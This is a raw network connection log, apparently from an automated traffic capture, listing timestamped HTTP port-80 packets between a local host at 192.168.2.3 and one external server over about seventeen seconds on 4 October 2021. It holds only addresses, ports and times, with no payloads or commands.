Oct 4, 2021 16:01:56.954919100 CEST	80	49889	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:56.957381964 CEST	49889	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:56.964530945 CEST	49893	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.123742104 CEST	80	49893	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.123974085 CEST	49893	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.124109030 CEST	49893	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.124180079 CEST	49893	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.144205093 CEST	49895	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.283027887 CEST	80	49893	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.304105043 CEST	80	49895	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.304404974 CEST	49895	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.304617882 CEST	49895	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.304721117 CEST	49895	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.322457075 CEST	80	49893	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.468096018 CEST	80	49895	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.507848978 CEST	80	49895	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.608432055 CEST	80	49893	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.608520031 CEST	80	49893	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.608588934 CEST	49893	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.809325933 CEST	80	49895	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.809470892 CEST	80	49895	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.809520960 CEST	49895	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.843688011 CEST	49901	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.961250067 CEST	80	49901	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:57.961359024 CEST	49901	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.961529970 CEST	49901	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:57.961589098 CEST	49901	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.019875050 CEST	49902	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.079245090 CEST	80	49901	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.118906021 CEST	80	49901	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.137598991 CEST	80	49902	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.137775898 CEST	49902	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.137934923 CEST	49902	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.137988091 CEST	49902	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.255486012 CEST	80	49902	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.294729948 CEST	80	49902	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.409146070 CEST	80	49901	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.409437895 CEST	80	49901	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.409516096 CEST	49901	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.569792986 CEST	80	49902	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.570022106 CEST	80	49902	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.570163965 CEST	49902	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.648323059 CEST	49903	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.763518095 CEST	80	49903	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.763781071 CEST	49903	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.763848066 CEST	49903	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.763994932 CEST	49903	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.771550894 CEST	49904	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.878494978 CEST	80	49903	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.917602062 CEST	80	49903	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.930728912 CEST	80	49904	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:58.930860043 CEST	49904	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.931005001 CEST	49904	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:58.931065083 CEST	49904	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.089834929 CEST	80	49904	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.130314112 CEST	80	49904	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.209623098 CEST	80	49903	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.209732056 CEST	80	49903	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.209822893 CEST	49903	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.417593956 CEST	80	49904	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.417675018 CEST	80	49904	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.417841911 CEST	49904	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.461335897 CEST	49905	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.610407114 CEST	49906	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.620204926 CEST	80	49905	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.620609999 CEST	49905	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.620862007 CEST	49905	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.621074915 CEST	49905	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.766578913 CEST	80	49906	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.766715050 CEST	49906	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.766918898 CEST	49906	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.766971111 CEST	49906	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:01:59.776851892 CEST	80	49905	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.817251921 CEST	80	49905	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.927247047 CEST	80	49906	198.38.82.168	192.168.2.3
Oct 4, 2021 16:01:59.962953091 CEST	80	49906	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.148654938 CEST	80	49905	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.148700953 CEST	80	49905	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.148869991 CEST	49905	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.241589069 CEST	80	49906	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.241621017 CEST	80	49906	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.241709948 CEST	49906	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.412950039 CEST	49909	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.492789984 CEST	49910	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.570059061 CEST	80	49909	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.570785999 CEST	49909	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.570820093 CEST	49909	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.570825100 CEST	49909	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.649040937 CEST	80	49910	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.650684118 CEST	49910	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.651154041 CEST	49910	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.651256084 CEST	49910	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:00.726902962 CEST	80	49909	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.766179085 CEST	80	49909	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.807177067 CEST	80	49910	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:00.847157001 CEST	80	49910	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.096790075 CEST	80	49909	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.096844912 CEST	80	49909	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.096918106 CEST	49909	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.142846107 CEST	80	49910	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.142937899 CEST	80	49910	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.143026114 CEST	49910	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.312844992 CEST	49911	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.348402023 CEST	49912	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.462941885 CEST	80	49912	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.464593887 CEST	49912	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.464772940 CEST	49912	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.464822054 CEST	49912	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.471899033 CEST	80	49911	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.472075939 CEST	49911	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.472186089 CEST	49911	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.472309113 CEST	49911	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:01.579466105 CEST	80	49912	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.618623018 CEST	80	49912	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.631203890 CEST	80	49911	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:01.671186924 CEST	80	49911	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.031204939 CEST	80	49912	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.033646107 CEST	80	49912	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.033756018 CEST	49912	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.047791004 CEST	80	49911	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.047885895 CEST	80	49911	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.047955036 CEST	49911	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.217983007 CEST	49913	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.302306890 CEST	49914	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.332901955 CEST	80	49913	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.333007097 CEST	49913	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.333194017 CEST	49913	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.333298922 CEST	49913	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.447912931 CEST	80	49913	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.460612059 CEST	80	49914	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.462769032 CEST	49914	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.462997913 CEST	49914	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.463044882 CEST	49914	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.490259886 CEST	80	49913	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.623313904 CEST	80	49914	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.658365965 CEST	80	49914	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.795275927 CEST	80	49913	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.795594931 CEST	80	49913	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.796365976 CEST	49913	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.944036961 CEST	80	49914	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.944123983 CEST	80	49914	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:02.944778919 CEST	49914	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:02.999202013 CEST	49915	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.114339113 CEST	80	49915	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.114531994 CEST	49915	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.114734888 CEST	49915	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.114795923 CEST	49915	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.229775906 CEST	80	49915	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.246613026 CEST	49916	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.268918037 CEST	80	49915	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.405592918 CEST	80	49916	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.405703068 CEST	49916	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.405874014 CEST	49916	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.405941010 CEST	49916	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.564933062 CEST	80	49916	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.604257107 CEST	80	49916	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.778135061 CEST	80	49915	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.778214931 CEST	80	49915	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.778299093 CEST	49915	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.938410997 CEST	80	49916	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.938508987 CEST	80	49916	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:03.938772917 CEST	49916	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:03.984020948 CEST	49917	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.103634119 CEST	80	49917	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.103758097 CEST	49917	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.103900909 CEST	49917	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.103936911 CEST	49917	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.187895060 CEST	49918	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.224819899 CEST	80	49917	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.264678955 CEST	80	49917	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.302828074 CEST	80	49918	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.303030968 CEST	49918	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.303162098 CEST	49918	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.303210020 CEST	49918	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.417937040 CEST	80	49918	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.458679914 CEST	80	49918	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.564570904 CEST	80	49917	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.564718962 CEST	80	49917	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.564834118 CEST	49917	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.743335962 CEST	80	49918	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.744961023 CEST	80	49918	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.745071888 CEST	49918	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.754612923 CEST	49919	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.872394085 CEST	80	49919	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.872730970 CEST	49919	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.872864008 CEST	49919	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.872917891 CEST	49919	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:04.990314960 CEST	80	49919	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:04.997427940 CEST	49920	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.029700994 CEST	80	49919	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.115055084 CEST	80	49920	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.115223885 CEST	49920	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.115386963 CEST	49920	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.115403891 CEST	49920	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.233733892 CEST	80	49920	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.273919106 CEST	80	49920	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.364154100 CEST	80	49919	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.364491940 CEST	80	49919	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.364689112 CEST	49919	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.561544895 CEST	49921	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.562863111 CEST	80	49920	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.563215017 CEST	80	49920	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.563716888 CEST	49920	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.718225956 CEST	80	49921	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.718425989 CEST	49921	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.720347881 CEST	49921	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.720381975 CEST	49921	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.877136946 CEST	80	49921	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:05.885509968 CEST	49923	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:05.922513962 CEST	80	49921	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.003009081 CEST	80	49923	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.005599976 CEST	49923	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.005784035 CEST	49923	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.005872011 CEST	49923	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.124803066 CEST	80	49923	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.165721893 CEST	80	49923	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.238650084 CEST	80	49921	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.238826990 CEST	80	49921	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.239171982 CEST	49921	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.461173058 CEST	80	49923	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.461359024 CEST	80	49923	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.461433887 CEST	49923	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.491869926 CEST	49927	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.648849010 CEST	80	49927	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.649039030 CEST	49927	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.649257898 CEST	49927	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.649343014 CEST	49927	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:06.806401968 CEST	80	49927	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.846206903 CEST	80	49927	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:06.899030924 CEST	49928	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.058121920 CEST	80	49928	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.058240891 CEST	49928	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.058419943 CEST	49928	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.058490992 CEST	49928	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.129787922 CEST	80	49927	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.129815102 CEST	80	49927	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.129971027 CEST	49927	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.217375994 CEST	80	49928	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.257421970 CEST	80	49928	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.324644089 CEST	49929	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.483695984 CEST	80	49929	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.484441042 CEST	49929	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.484769106 CEST	49929	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.484852076 CEST	49929	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.579659939 CEST	80	49928	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.579812050 CEST	80	49928	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.579902887 CEST	49928	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.644093990 CEST	80	49929	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.683228970 CEST	80	49929	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.832657099 CEST	49930	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.978899956 CEST	80	49929	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.979106903 CEST	80	49929	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.979163885 CEST	49929	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.992027998 CEST	80	49930	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:07.992127895 CEST	49930	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.992269993 CEST	49930	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:07.992316961 CEST	49930	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.150752068 CEST	49931	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.151971102 CEST	80	49930	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.191297054 CEST	80	49930	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.269057989 CEST	80	49931	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.269164085 CEST	49931	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.269381046 CEST	49931	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.269392967 CEST	49931	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.384970903 CEST	80	49931	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.424669981 CEST	80	49931	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.467636108 CEST	80	49930	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.468592882 CEST	80	49930	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.468686104 CEST	49930	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.674796104 CEST	49932	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.748954058 CEST	80	49931	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.749011040 CEST	80	49931	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.749119043 CEST	49931	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.793596029 CEST	80	49932	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.793905973 CEST	49932	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.794070959 CEST	49932	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.794115067 CEST	49932	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.913346052 CEST	49933	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:08.913563013 CEST	80	49932	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:08.951833010 CEST	80	49932	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.028529882 CEST	80	49933	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.028640032 CEST	49933	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.030463934 CEST	49933	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.030711889 CEST	49933	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.145320892 CEST	80	49933	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.184696913 CEST	80	49933	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.243402004 CEST	80	49932	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.243536949 CEST	80	49932	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.243700981 CEST	49932	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.466383934 CEST	80	49933	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.466603041 CEST	80	49933	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.466713905 CEST	49933	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.618338108 CEST	49937	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.661290884 CEST	49938	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.737883091 CEST	80	49937	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.738059044 CEST	49937	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.738337994 CEST	49937	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.738404036 CEST	49937	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.781840086 CEST	80	49938	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.783420086 CEST	49938	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.783824921 CEST	49938	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.784181118 CEST	49938	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:09.855902910 CEST	80	49937	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.895750999 CEST	80	49937	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.901688099 CEST	80	49938	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:09.940877914 CEST	80	49938	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:10.210728884 CEST	80	49937	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:10.210828066 CEST	80	49937	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:10.210944891 CEST	49937	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:10.278049946 CEST	80	49938	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:10.278085947 CEST	80	49938	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:10.278260946 CEST	49938	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.380357027 CEST	49943	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.455153942 CEST	49945	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.541290045 CEST	80	49943	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:11.541484118 CEST	49943	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.570630074 CEST	80	49945	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:11.570821047 CEST	49945	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.687376022 CEST	49943	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.687433958 CEST	49943	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.687748909 CEST	49945	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.687843084 CEST	49945	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:11.805840015 CEST	80	49945	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:11.841825962 CEST	80	49945	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:11.847970009 CEST	80	49943	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:11.887016058 CEST	80	49943	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:12.171185970 CEST	80	49945	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:12.171365023 CEST	80	49945	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:12.171475887 CEST	49945	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:12.203600883 CEST	80	49943	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:12.203629017 CEST	80	49943	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:12.203787088 CEST	49943	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:13.394047022 CEST	49948	80	192.168.2.3	198.38.82.168
